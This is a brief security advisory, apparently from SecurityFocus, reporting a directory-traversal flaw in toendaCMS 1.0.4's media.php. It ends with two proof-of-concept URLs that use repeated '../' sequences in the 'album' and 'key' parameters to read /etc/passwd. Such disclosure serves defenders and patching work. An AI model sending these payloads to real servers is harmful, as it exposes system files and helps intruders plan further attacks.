source: https://www.securityfocus.com/bid/20170/info
toendaCMS is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.
Version 1.0.4 is vulnerable; other versions may also be affected.
http://www.example.com/media.php?album=1005bb&key=../../../../../../../../../../../../../etc/passwd
http://www.example.com/media.php?album=../../../../../../../../../../../../..&key=/etc/passwd
